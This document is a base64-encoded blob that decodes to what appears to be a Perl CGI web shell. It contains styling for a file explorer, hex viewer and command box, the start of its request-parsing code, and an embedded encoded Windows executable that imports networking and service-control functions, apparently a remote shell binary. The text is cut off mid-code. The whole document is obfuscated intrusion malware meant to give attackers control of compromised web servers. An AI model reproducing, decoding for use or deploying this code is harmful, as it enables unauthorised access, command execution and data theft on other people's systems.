1UUMwSkJQYmdNZlBHNWhmZTNsZkhCNWdNN2xob21IQ3BKWjVhR2JMem9jQTNYOWg2NkVOZW8rblVMOFNCc1JHTGgNCmhWdysvN2twQU9YQnVrbTZNQk1YL0VOQUxYRjJGaVpaRWxlU3ZXZHZ4K0lIWVVCWlpUeDJLUmxRTDNCMkZuVDREWU5HYWdNRE43T3ANCjd2aG8rRUZYcUNlc1ZXRC94czZTTk53UVZ3eTh6UDJRd1IzWXZQKzJMTk1XekZTcjJSRUtCQ2ZCTDk4WnNGa2FMRi9ySm8yRW1ob3INCmF6QnExelk3VGRPazNRaHE5TngveEY1T1RVT0F5ZVF0REVkTHBvMG1DRWZGaWo4eCthcEVLZjZEK2dSeUxmZlpWSFJ2dnY5ZkU0Z0gNClIwbDErb3ZJd2VBSUE4RUdFTXFENGdQWFhhSVVld1B6cXpvR0l3NG81VXhLUHMwaXhEbkpWbzBFRldWUDNJQ3VIaGFLUTRTSUpIVmINCjBJU0JIR1pURGdsRmhnT3VxMm9oSXp2a2VDUXpVcVFCL3dVWTlwb0JmdkFYTHlFMXVMUVFmWENpRmJnaS9ONVdMSmQzL0FuU3VNZ1YNCk9UQjBjakJDVkZHYVl1RU42TnVjOTlZVkl4Z2t2a0JqV2IvZ2d0QVdld25UNkFHSlVNT3FjWE9qdGVua2dBK0c3NEI5N3JHMStOTVoNCnUwM3ZpaEVQREs2eDkwMzhMTFpCLytRN3dnK0hreVhIVzIxWkF3N3VVa2cvVXV4K293RXNpd1Nxalo3WWtZQTd2MDNvYjdUTGRDeUsNClVRRmtoYmI2TzhkM3QyLzNqUlRKL0lxU3dDQUlrRVpBRTNiMWJCdTY4RUZCZ0RrWTFQL2N3d2lkL0VHV01DMkV3Zno5ekcwV0h0NVENCm82d0xlZVRNdjhCMDdQN2VENldsV2FPN3BldFZRSG4vLzBnOWZXWndHa0toQ0VBOVNuS3diQllySXprc1ZEYldYbXR4K2d2Q1Rhc0ENCnZvTGI2T3NOMkZ3S216Q3M0S3BRK3dUVkhVRmJhbmdmSHBYZmd5VWhWZjRqUE1qVzZrdGMveVY0YXYwb01ISmhGR3o4NVJheFpTZHkNCkdVbjFVS21VZ2FtZUtpaTB3YlkyRndRTmJrZ2dkalpUT3dHNEJPa0ZFZ3NnTHp6UENCRlhiRmt6d040YklkaXF0QmVqeGR3YkJzNzYNCncxOHpGS1FFN0FhTUNJMVc5K2NLRmd1bWZ6ODB3TDZIaUlRRjdLeUN4cVc2K3Y1eTlJcEY4c2FGRFNDcE42TXY0ZXJHalZWZ3RncmENCnYzY2RLeGkwZSt6SWpid3FRYmdnQUl2Wmx6Yjk5cy9MUWtLS1F2ODBkZEJmVzJxZDdQcFlhL1lhZ3pXTmVqRlduYkZneEZhMUkvMnkNCm0wMzJIVlllVmpRaktLcXdRMWN5L0dqdkozOWJzQlJlWEQyTmNtYUxFYitmc01EMndtQVcraENLbEFWa2lKQk8zZ3FZNEw4YUFuUVENCklNWmJBSGRicHFBY2dXSENEWTA4QUwvclNSVWxmMWhqdTBGeUdRUmFxa3ZJZ01FZ2lKT1h0N0dJU1I4ZFlYSVRlbmNPcm03WW15RHANCklPdmdURXErWmVIWGd3RTZFbXI5Q0paWi9GK2RZSElJV3ZRREpOQ29nUitYSHcvMlZob1dMVmcrWng4NlhyMFRRTU42SGJ5eHNOZEkNCmZNc2NKMnFOcENUQy83dXM0Wkg0Vi9mQkEvNktBVUcyT3c0Uy9mLy9kZkdMQWJyLy92NStBOUNEOFA4endvUEJCS20vaHQ5dDhJRjANCjZKZjhKaU9FNUhRYXFVaDBnUjRkNkttbm84Mk55OHRib3ovK0JQN3JDUDNyQS96YUdzd1I5bDhaQzBFTS9XQnZ4V1NJRjBkaTd1c0YNCmlSZStyQkNzeFdkdWFZTnJOL2EybStFdk5JVGtKL2ZDYVJJSDJRbTBzV3JIT0M1bUNMWWxLOUhHN2d3SWlBY2p3OWtJdUhBcVdzVWINCjllaXUvckhnZHlJT2JUbzZ1MjNhZFJaa21KNkRGZG9US3ZuZVJic2JPRUpZTmNBTmR3dFdHaUpscUJSTlBSd3VBM0J5Q1MvVS84cm0NCjhGWnFaRUU0eEFZQVgxNkkwSkNURkVBQTVLUzVTR015SkJOSnRrZTRRYlVyd2NNSi9xYlpaSkw5L0liR29OQlN0RmZGblUxU3R0RUwNCkZNRVEwUVBHMUhiVU1JM3QrUGdQZ25oSDk4ZU1GSXJRLzBJNGtkOXlLZk9sL3lTVjZDd1dLdkRiWXNlNkhJUHBTTXJnY3pPM0pZakkNCkY0VUFCbzM0VGRjOVhaQUhmQkFFUEFOZ0k3YTN3TUhSaXN6WGlFY0JCUUlaVzdibVZnaFp4c2RjekpheFpTZU5TU3NsQVFJN20rUloNCkFxYVFJMFlocmp1UXIwYy9qTjhHekFPYXBtbWF4THkwcktTY05OMUMvNzlFanVTSmwrUUg2T2pUTkUzVDdPenc4UFFDMHpSTjlQajQNCi9CQmFmTmdvalpvRDhIb0p3RFRiNy8vd0FDMEREQ0FON0MzdFdGNWZvSkNkQ3duQkJadjVFYU1ONGUzRERBb3JqWFF4WjN3NS9IOTINCjIwc0dKQTM5NC94M2dDN0NlV3R4UmUrTk1DNlBGL21jVFBrcmlDMHN3bWE2N3BDWUM3Z0Q0RzBET2x2eWRiZHZBMDVZVDFhMlM5MHUNCllkZ2ZvKzRDN3dLOFpRUHlLWXlRSnlTTlY3WWtxeTBEcmtYWFhaaUJXbUJiTkFZOEEwM1RORTFFVEZSY1pIZHBtbWFFTHBjY0hCZ1kNCnBtbWFwaFFVRUJBTWtLWnBtZ3dJQ0FRRVRkZWRzQitRQlpnRHFMd2xPTGVFTHBlM3RZY0RXd2l6RDRNVElabE9DTGRvUUJuVkRMa1cNCllISzBTRnV0czUwbHVxd0dzQVVHd0l6RW82aVVvTHJzcGQ1Q2VLRVkrWUNodEFmYXREVmdpTHJhVkpKUUROY0w3WlkxQUNSeUIyTVUNCjYraGZaWElSSWFQTG5zWDJWbkt2OC9yeUszRU1XcmlELzcvQXd2eFh3ZTRQaTg2TGV2eHB5UVN2UzRsOTJDamszakNNQVVTWklMWk4NCnhyY0czTDBNRTlVSStIVi93UkdqUW56N2FqOUpYd3NNTzg5MnFaRUxCWHE3RXdRN0F3aDFTTDJsSVArdGYraHpITDl4MCsrTlRBR08NCjF5RjhzRVQrQ1hVdTJOYTdLM1VoT2Vza2RlQWVMWDA2OTJBaHZMREVFaVFHZVFTWnNYTEJVWWQ4RXdvRWplKzJHOHhkK0EwSWpJdjcNCndmOEVaSFJiMjlyL1AzdUdYeSs5NFpmc0ZXb0FXaVRRSzZnRnVuL01FYUdKVmZoSldqdktwbmIyL0xtdGRmUEtRUnY3UUQ0NytuYmINClVyc3RtUHEvZEdzdWlWRytVVHd5TW1DOXV1clNJVlJod1NLWEVSNjlMZFlTOHRJaGxFeFN2MXBaenJaSnZrb0xCQWdSRlM1czFKRW4NCjdOVUpPVE9HZkRNYnBJa3A4STBNK2NyV1hQY0xKb2t2RGdVSW9sMXEyWmRLWTRjSEJPL2JScnRmelUwUC9zR0lDM01sOHc5R0RuYXkNCjNiKzdpSXZQMCt0MkNSa05qVVN4eFc0Vit3a1k2eWtrd0UvZ0dXT0g0SjRsV1FRUG5ZUzNDVlQ2VnNNNGkxUkZveHFKWEJOWGhuZ3MNClMzTDZvWFpNV3FwOG90OS9wRmFuUUJUaTlxWnFEd05JREZLQUFFUE1YaU4ya2xOUmdCOHkvckQzSUJ3SlVBZ09PVUFRZzZTSTR1eHUNCjltd2tELzVJUXdwSTZyRTMzT0o1UXhPRFlBVCtFWU40Q0xyWE50MURiRk1RY0F4YUVna1FMWG9zTEdEMEQ5aEM0Ump5QklDU3k4Z28NCitzVy9vZk5NRWV4UmpVZ1VVWnNySE9QOWRtVml6djhOTHpzRklqVlB2N1pSdHhTV09va05UT3NpZFg1UHQ2T3NpVFUxWENsZ2t5cG0NCkwyZ2JuOXlOWUR5Q0xCdElGM2J3L0RzNlRCZHFTVFI5RG9QTy85UHVneW5IV3kzdC8rLzA2eEFtZ1ArMndMMHo5dFBvRGdPaGFZdlkNCk85OS91L0FiZndoekdZdEw0VHNqS3lQK0M4OTFDN3RkNDFZK0ZEdWFHSExuQjNWNTIwekk5NHZhTzlnbUZRWHI1aGtsdWtWM2RWa2sNCmM3TjdDRWgzeUxOekV6ZnI3U1lORzdkZm1iTXY3aGNsYm51RjIzWVh0REFXQ0NZZldWc3RiRnV0L0lCRHFEaHNCOTFyMVcwYjZTTnANCldxVVVpOE5icVcwVytzZEtMWXVNa0xZN2U5aWxnSkJFaURlTEVuQVI5Z3R2WlZYZGcyWDhoRWhFQzlhTEN3RU10ZEIxQjVGSkZLYi8NCkxsd2NYNHYrSXprTDEzVHBpNWNiaHpYcnlqUC9YRmhOZGt6LzdtQjNWODUxRFdacUlHUmZoY2w4QmRIaFI2NnUyKzdyOTRzZ1ZQbEQNCkNpdC84WHVOUmszL3dmNEVUb1ArUDM3NFhqZWIwcWFUekEwQkpHRWdmU3NSdDZVT0F1ODRuTlB6N0NNM3luSDNYSWhFaVFQK0QzWHENCllld2gwV0lENlF2ck1SY3JsU3U0ZG91aE1pRVpLVGFZTENibktBU0ZJZ3JBcmsydnkzb0UrQUNWcjNvSWtOdCtybXFFb3FsODhVSU0NCnBWa0drRm9pd21RRzFWTHBadjRMZlNuRW1Rc3VqVzJ1eHhGaXY3RE9qQWs3Z04xMnlRcVBDWHl1Nnk4b3ZnOXBvK1ZPdGdsN0JMRzgNCmNEM1N4YTBXdnU0Sk4ycDB1YVZmT25RTGlRcUpBL3l5ZVhWdCtHMGJ2TkVpQVJJeS9KK0xEbnI4VnFvaEpROCtkUm83SGZMUWlOU1YNCjYwczdwQWJTcGJwZ2F4R0pVRUlFQ0FZOU9Da0NEVy9zTU4yNndmOWRkVEJmaVZCeTRKQ1dCYVcwVjVkb01JUENCaXJIZElpY0RYL0INCllzQTlDbWpFUWVBSVI3YlBURVV3alRTQk0yU0pSdlpCQS8wUWRDcHFCR2ovYUxKWEdmUUdNTWhnREIxMkVGZTExSUNCL04xOFRxQVcNCis2MGt4WWwrQlA4RllrRndIYXBkcW92R3N1N3BvL1dOcmt0eHlFRUlNOXZGVCt2alJyUGdROE0zYWNDQld2dkVkaHRqTUlKRjZrQUkNCkFnVGR1alZzbkVvZSs0WEI1OTk1REJjdzVMT0xFSUFBUlEzNlRTYlJKeWNWalpjQWNDTm9jR243K25jOGpVZDNTUEtEaUg1bU1PL3UNCjlJMkkvQWJIUVB6d1FnNTZuL3Z0Ny8rbFNBVEhnT2dRRkFWVzNsRTNXQ3p3bG5iSEkwOE1CZmpldWdMZ2h1a21pYXlOU2d5SDI4dlcNCkNJOUJaSjVFUXJ5ZTQxV3E4UllzUTRySUM2QkdxMXZkZW9oT1F3c0plTUlzQ2pnb01NdG9mbXJQajRyUTJLdmtZRlpDZUpEbzRXaEUNClJEQmN6V2VMTmJsNDJGQkJoamhFczlaaEIzN1AvaWwwVUdnb0VHZ1VCNk5rYm5vcDN1SFdvMmk4Qzk0Vy85QmR2V2YvUFhRT29XZ1ENCkJWTVJ2aGlnVjZwaEEwRk5qZ2RXUjF6citJOE1WNVNzVXJ2NmVsWlRpOW5kRlBlYlRnVnZxSEVrRUc3YmRXL3JJZGJWamlpOHMzUWwNCmdTa2ZOL3RmZTNYckxSMVJnK01EZEEwZ0hhRU9LbFF2OENCYk5WQjZ6MmpEeVhRU09vTjMwajBEY1JFNjdtd1lnQWpRTmk3NktwZ2cNCkk4QjI5Mk92K2dZbnkzTHlGb1BHM2l3ZURMWEN0eU4xeGpuckdJSGl4d3d0OWtqVENRNEFCRFBTVSs1czk3dHRWUW9FaVFkZmRmaXcNCmRZV2pBamxDTUZsUVJMV0NVdVFjVko4UVhBSStmMFpYOGx0VFpJbWU0RmJVVnRhTXM1WGZSaE1kSStzaUlBeFJUd2crRzRoZUlnRUkNCjNtTFNXV3hjRkg0UW9IRUhSRlJkemxsWjVXRHJvdGZKSFJNZEZoeThKUVF1MlhSSXlPYjVFSE1xT3ROOUlBUWJzM1lnY3k1L0pLQ0QNCjV5VnpJUCtMYytSTm5JalcxNFZXR1FSZ214Q0NHM2ZFUWR3MkNNR0dYK3NUY1A4bUJieTFzUkdMT0dmY2RHYTZaRzIyTTl4aElWZjANClRTL2lMT2JzR3FXTUQrMS9pUkpQUmZkME12WkZEUVIwUUQ2em02bTJISGl5UU5WL0h0ckFiRzFrTWtqU2oxQzZrSWF5eU1lRDhndloNClhOMnpOdHlKWGVBdVZrb3lFbHV5ZlhmS3V0YmZkTTlrNUdkMG5JKzR6VzQzczNVRUErc0dqQ2hvSVBnZ05tYVUxVkMvdDNFTEZLR0wNCno4WngwUWdBbGtyTmkwUlcvRW9ORW15d1VFTHNRTzFKOU5qY0V0M3pERjdJS3g2RHd1U0NreGFLZEg0UE9ETDFPcXFCdHdTZTJlUkENClNYQnJmMmc4eTVIUENZQTdlRHo4TzVBQ0pOaDFCTHdENER0L0NEa0E4bWc4YUR3MFhUZFlQMThHVEFORVBBazJUZE0wTENRY1BIL3UNCk00Y0FhRHp3Z0FNRGtBU2JqS0E4ZndEbkVmS1FQckE5Q0QxSXNPdCtMSkFZQ3pnRFlEMS95Q0dRVndBK0FENjZickJRVzdSL3ZBUEUNCmJKcW1hY3pVM09UM1BVNElBUkovSHhBZ3dhYnJCUmdES0R3K2Z4Rm0rZ1hNL3lYQW1nQTFhbk1BLzZzV1NpdEJqOHdERjAwWWt3UGINCnB2Ni9jblZ1ZEdsdFpTQmxjbkp2Y2xFTkNnTlVBZmx2OWt4UFUxTVJEZ0JUU1U1SC9yTDJBbE5QVFVFU0VWSTJNREk0dDcrODNRZ3QNCklFdGhZbXgwYnlCcGJtbFdZV3cvMyt6YmFYb05hR1ZoY0Rjbk4yNXZkTFp2Y0dzOUJIVm43bk53WVdNalp1dzJZTzk3Ykc5M2FUaGgNCkJtOXVOeUI1Q3JrMmMzUmtXdnZ0WnpWd2RYSXJkbWx5ZEhVaE03N1k5dHVsWXlNZ1l3eHNLRjgwMm5hYlFsOHFaWGhjTDFpd2s3MzINCkJ0emlYekU1OTl2dTVyNXZjR1ZZTVhOdkQyUmxjMk5yYlRKZ0t6aEdKSUhmUUlod1pXUVpWeU0zZG1zMEpHMmJySFJvdnlHTTVOdGgNCkwyeHZZMnNYbXRzR1d6Umt0MkV1QXZhdDRkYWlJWEp0QUhCQVozSmhiU0I3SVJTMlNtMDJMekE1VDZNWldnb1FRU29yRlBLNVJqQXUNCkt6ZzlEK0g3WVhKbmRTaHpYekF5Wm90dDI2N0JibTVuZ204RmREb1IwQXBucldUbWYwMHRZQmovOExZNVpoVldhWE9xUXlzcklGS2cNClllNjdQVXhwWXJSeWVTY0tMUllhWjl2RFJRNGhFVkRVT3NJMnJFRFpBQzd2NWVEODlyYTVKU3hyYkhkdVBodEhaWFJNWWJFTGQyd3kNClFRSjJaVkN1ZFhBVC82MXRadzlYbFdRbWgyVnpjMkZuWlVKdk5iNnd4SGhCZlhNbE16SXVaQ3JQdGFJbk43NDVTQU1MVkpocnhISTYNCklBTUFxNlFlUUY0cHA3WnE5ZnRTVTAxVFV3ZGxiWmswVTFmZkFLWDV2M01nVFdGdUR1Y29Rblp5QUZ3djJnT1paTXEyQUNBQktDQ1oNClNCNEFTQUFRaEVBbVpBQVFnUVprQ0dRQkVJSmtDR1JBQWhEdXFzcmN2d0FCQjlzSWRaQXUyeGhiQlIvQVpKQnVrQXNkQ3dTV1FBWnANCkJvMElqbVJBQm1TUGtKRUZaRUFHa3BPeUxFUUhDQWZ2Q293a0x3dHZES3NBQlpNWjl6V2diNnVJYkQ5Y0IwM1RORTBKTUFvTUVPQjANCnIybVdRaEd3RWxjSEV4Y3pUZE5nR0NoWUIwMzNsazBheUVFYnV3Y2NhRFJOMHpSNFdIbElldE0wVGRNNC9EVC9KS3VJblFSVEFnVFMNClJlVFp3YjVnZ25tQ0lSZW0zd2VocGJ4NS92MkJuK0Q4TDBCK2dQeW93YVBhbzBIT0htR1hnZjRIUUc2UUliQzFMMEcyWCtjcjVQL1ANCm91U2lHZ0Rsb3VpaVczNmgvbGZ5MjkxUkJRUGFYdHBmWDlwcTJqTFQ0R1huOXRqZTRQazVNWDRBK0FNeUtDS3dXZG5WVVZGOFJ5UXcNCi9mOEdvRTFFUW5sMFpWUnZWMmxrWlVOb1lYSUQ4SCs3RkZWdUJtNWtiR1ZrUlhoalpYQUYrbGE1YlVacEptVVpEME4xY25LMm9GV3QNCnYxVUFjd0p3MmRZU0kya01RMWlUYklPMUtBNUJMMU5FZSt3THdHbHl0bTl5ZVVGRlUzbHpKN1BXRG14dEZGTnZheHRxOWh2QWRHR1ANCmNFbHVabThzN3JOWHVaYk5nRzl0Ylo3SjJqRDNUR2x1WlI2MXY4cTJKQUJqSlVXVFQzTDdGMXNBV1hNV21rRmtaSEt0Q1VBQkdFeGgNClBBQkhBcnBKVmdWQmJHQU5ZR3RNRFVpQkNqMzJOenRTWlF4RFFVTlFCMDF2WkN5Y1JiaHlaVWdxcUZZamMyZkJIak10QzA5RlRTZC8NClZJQmx3dDU1Y0NVUFYxUnJ1eVU4YWpTVlEwMXZJeEN3Q1R0QkRWZDFaVU1CMkpCbFRyODRSbkptS1d4bDdSaEZidTNzMEpwZTIwUjINCkdtOTVaaEdHRURaWHhlVWJyQUVVZWx2RFpCSXhleTgyRFkzUFR6WjdTWmdFVUlZWUNjMVFibnhTZEd4Z2QybThZZkEwRzdGMHlwR0oNCkFFTncySXk0Wm5ObFlHSlBzRFBpRmp0VFEyeEJEeVBZakZraVpBdzVDRmd5bW5HR0lScmJCZlpSRGtQbGJJWXR4RjRDbjNSamFGdnANClp6WUxtS01PN0IrR0hNdTJhYmFsbHN6L0F3STBGbmZMc2l3RUFnRU56bE5CVTl2bWFBR0lJUTRKQWdqOGx5Y3RjNEpRUlV3QkF3Q0oNCkM1US9qSWo5aCtBQUR3RUxBUWIwSjNaeTJSM1VGUVFRQUVBQUVBKzJZUk5pRWdjWFlPeHNGa3lpREJBSHk3M3NEUVlBYUVTRFIwRFcNCkRRaWkvQjdXRUJ2QkxoaDBPaTZRNExPUURUQ1krbUF1Y2syWWRZYUxKd2xUQTVwYjdKUnFRQzRtSnh3S1VQS2Jra0ZRd0JPMFJRQUENCmFNVnZzeVFBQUFEL0FBQUFBQUFBQUFBQUFBQmd2Z0JRUUFDTnZnREEvLzlYZzgzLzZ4Q1FrSkNRa0pDS0JrYUlCMGNCMjNVSGl4NkQNCjd2d1IyM0x0dUFFQUFBQUIyM1VIaXg2RDd2d1IyeEhBQWR0ejczVUppeDZEN3Z3UjIzUGtNY21ENkFOeURjSGdDSW9HUm9Qdy8zUjANCmljVUIyM1VIaXg2RDd2d1IyeEhKQWR0MUI0c2VnKzc4RWRzUnlYVWdRUUhiZFFlTEhvUHUvQkhiRWNrQjIzUHZkUW1MSG9QdS9CSGINCmMrU0R3UUtCL1FEei8vK0QwUUdORkMrRC9meDJENG9DUW9nSFIwbDE5K2xqLy8vL2tJc0NnOElFaVFlRHh3U0Q2UVIzOFFIUDZVei8NCi8vOWVpZmU1Y0FBQUFJb0hSeXpvUEFGMzk0QS9BM1h5aXdlS1h3Um13ZWdJd2NBUWhzUXArSURyNkFId2lRZUR4d1dJMk9MWmpiNEENClVBQUFpd2NKd0hSRmkxOEVqWVF3QUhBQUFBSHpVSVBIQ1ArV1VIQUFBSldLQjBjSXdIVGNpZmw1QncrM0IwZFFSN2xYU1BLdVZmK1cNClZIQUFBQW5BZEFlSkE0UERCT3ZZLzVaa2NBQUFpNjVZY0FBQWpiNEE4UC8vdXdBUUFBQlFWR29FVTFmLzFZMkg1d0VBQUlBZ2Y0QmcNCktIOVlVRlJRVTFmLzFWaGhqVVFrZ0dvQU9jUjErb1BzZ09uYm9mLy9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSHlBQUFCUWdBQUENCkFBQUFBQUFBQUFBQUFBQUFpWUFBQUd5QUFBQUFBQUFBQUFBQUFBQUFBQUNXZ0FBQWRJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFvSUFBQUs2QUFBQytnQUFBem9BQUFOeUFBQURxZ0FBQUFBQUFBUGlBQUFBQUFBQUFjd0FBZ0FBQUFBQkxSVkpPUlV3ek1pNUUNClRFd0FRVVJXUVZCSk16SXVaR3hzQUZkVE1sOHpNaTVrYkd3QUFFeHZZV1JNYVdKeVlYSjVRUUFBUjJWMFVISnZZMEZrWkhKbGMzTUENCkFGWnBjblIxWVd4UWNtOTBaV04wQUFCV2FYSjBkV0ZzUVd4c2IyTUFBRlpwY25SMVlXeEdjbVZsQUFBQVJYaHBkRkJ5YjJObGMzTUENCkFBQlBjR1Z1VTJWeWRtbGpaVUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQokc2hlbGxfc3R5bGUgPSAiDQo8c3R5bGUgdHlwZT1cInRleHQvY3NzXCI+DQoqew0KCWZvbnQtZmFtaWx5OlRhaG9tYSxWZXJkYW5hLEFyaWFsOw0KCWZvbnQtc2l6ZToxMnB4Ow0KCWxpbmUtaGVpZ2h0OjIwcHg7DQp9DQpmb3Jtew0KCW1hcmdpbjowIGF1dG87DQoJdGV4dC1hbGlnbjpjZW50ZXI7DQp9DQpib2R5ew0KCWJhY2tncm91bmQ6dXJsKCciLiRFTlZ7J1NDUklQVF9OQU1FJ30uIj9pbWc9YmcnKSAjMzMzMzMzOw0KCWNvbG9yOiNmZmZmZmY7DQoJbWFyZ2luOjA7DQoJcGFkZGluZzowOw0KfQ0KaW5wdXQsdGV4dGFyZWF7DQoJYmFja2dyb3VuZDp1cmwoJyIuJEVOVnsnU0NSSVBUX05BTUUnfS4iP2ltZz1iZycpICMxMTExMTE7DQoJaGVpZ2h0OjI0cHg7DQoJY29sb3I6I2ZmZmZmZjsNCglwYWRkaW5nOjEuNXB4IDRweCAwIDRweDsNCgltYXJnaW46MnB4IDA7DQoJYm9yZGVyOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCWJvcmRlci1ib3R0b206NHB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJdmVydGljYWwtYWxpZ246bWlkZGxlOw0KfQ0KaW5wdXQ6aG92ZXIsdGV4dGFyZWE6aG92ZXJ7DQoJYmFja2dyb3VuZDojMGEwYTBhOw0KfQ0KYXsNCgljb2xvcjojZmZmZmZmOw0KCXRleHQtZGVjb3JhdGlvbjpub25lOw0KfQ0KYTpob3ZlcnsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmZmZmOw0KfQ0KaDF7DQoJZm9udC1zaXplOjE3cHg7DQoJaGVpZ2h0OjIwcHg7DQoJcGFkZGluZzoycHggOHB4Ow0KCWJhY2tncm91bmQ6Ii4kc2hlbGxfY29sb3IuIjsNCglib3JkZXI6MDsNCglib3JkZXItbGVmdDo0cHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglib3JkZXItcmlnaHQ6NHB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjsNCgltYXJnaW46MCBhdXRvOw0KCXdpZHRoOjkwJTsNCn0NCmgxIGltZ3sNCgl2ZXJ0aWNhbC1hbGlnbjpib3R0b207DQp9DQouYm94ew0KCW1hcmdpbjowIGF1dG87DQoJYmFja2dyb3VuZDojMDAwMDAwOw0KCWJvcmRlcjo0cHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglwYWRkaW5nOjRweCA4cHg7DQoJd2lkdGg6OTAlOw0KCXRleHQtYWxpZ246anVzdGlmeTsNCn0NCi5nYXVsew0KCWNvbG9yOiIuJHNoZWxsX2NvbG9yLiI7DQp9DQoucmVzdWx0LCAuYm94Y29kZXsNCgltYXJnaW46MCBhdXRvOw0KCWJvcmRlcjoxcHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglmb250LWZhbWlseTpMdWNpZGEgQ29uc29sZSxUYWhvbWEsVmVyZGFuYTsNCglwYWRkaW5nOjhweDsNCgl0ZXh0LWFsaWduOmp1c3RpZnk7DQoJb3ZlcmZsb3c6aGlkZGVuOw0KCWNvbG9yOiNmZmZmZmY7DQp9DQojZXhwbG9yZXIsIHRhYmxlew0KCXdpZHRoOjEwMCU7DQp9DQp0YWJsZSB0aHsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCWJhY2tncm91bmQ6IzExMTExMTsNCglwYWRkaW5nOjRweDsNCn0NCnRhYmxlIHRkew0KCXBhZGRpbmc6NHB4Ow0KCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMTExMTE7DQoJdmVydGljYWwtYWxpZ246dG9wOw0KfQ0KLnRibEV4cGxvcmVyIHRyOmhvdmVyLCAuaGV4dmlldyB0ZDpob3ZlcnsNCgliYWNrZ3JvdW5kOiIuJHNoZWxsX2NvbG9yLiI7DQp9DQouaGlkZGVuew0KCWRpc3BsYXk6bm9uZTsNCn0NCi50Ymxib3ggdGQgIHsNCgltYXJnaW46MDsNCglwYWRkaW5nOjA7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjsNCn0NCi50Ymxib3ggdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDpub25lOw0KfQ0KI21haW53cmFwcGVyew0KCXdpZHRoOjEwMCU7DQoJbWFyZ2luOjIwcHggYXV0bzsNCgl0ZXh0LWFsaWduOmNlbnRlcjsNCn0NCiN3cmFwcGVyew0KCXdpZHRoOjkwJTsNCgltYXJnaW46YXV0bzsNCn0NCi5jbWRib3h7DQoJYm9yZGVyLXRvcDoxcHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCW1hcmdpbjo0cHggMDsNCgl3aWR0aDoxMDAlOw0KfQ0KLmZwYXRoew0KCWJvcmRlci10b3A6MXB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCgltYXJnaW46NHB4IDA7DQoJcGFkZGluZzo0cHggMDsNCn0NCi5mcHJvcHsNCglib3JkZXItdG9wOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJbWFyZ2luOjRweCAwOw0KCXBhZGRpbmc6NHB4IDA7DQp9DQouYm90dG9td3JhcHBlcnsNCgl0ZXh0LWFsaWduOmNlbnRlcjsNCn0NCi5idG57DQoJaGVpZ2h0OjI0cHg7DQoJYmFja2dyb3VuZDp1cmwoJyIuJEVOVnsnU0NSSVBUX05BTUUnfS4iP2ltZz1iZycpICMxMTExMTE7DQoJZm9udC1zaXplOjEwcHg7DQoJdGV4dC1hbGlnbjpyaWdodDsNCn0NCi5oZXh2aWV3ICwgLmhleHZpZXcgdGR7DQoJZm9udC1mYW1pbHk6IEx1Y2lkYSBDb25zb2xlLFRhaG9tYTsNCn0NCjwvc3R5bGU+DQoiOw0KDQpzdWIgaW5pdF9jZ2l7DQoJbXkgJGxlbmd0aCA9ICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ307DQoJbXkgJGNvbnRlbnRfdHlwZSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9Ow0KCW15IChAYXNzaWduLCAlZm9ybWxpc3QpOw0KCWlmIChkZWZpbmVkKCRsZW5ndGgpIGFuZCAkbGVuZ3RoID4gMCApew0KCQliaW5tb2RlIFNURElOOw0KCQlzeXNyZWFkKFNURElOLCAkXywgJGxlbmd0aCk7DQoJCWNob21wOw0KCQkkcXVlcnkgPSAkXzsNCgkJaWYgKCghJGNvbnRlbnRfdHlwZSkgfHwgKCRjb250ZW50X3R5cGUgZXEgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpKXsNCgkJCUBhc3NpZ24gPSBzcGxpdCgnJicsJHF1ZXJ5KTsNCgkJCWZvcmVhY2ggKEBhc3NpZ24pIHsNCgkJCQlteSAoJG5hbWUsJHZhbHVlKSA9IHNwbGl0IC89LzsNCgkJCQkkdmFsdWUgPX4gdHIvKy8gLzsNCgkJCQkkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCgkJCQkkZm9ybWxpc3R7JG5hbWV9ID0gJHZhbHVlOw0KCQkJfQ0KCQl9DQoJCWVsc2V7DQoJCQkoJGJvdW5kYXJ5ID0gJGNvbnRlbnRfdHlwZSkgPX4gcy9eLipib3VuZGFyeT0oLiopJC9c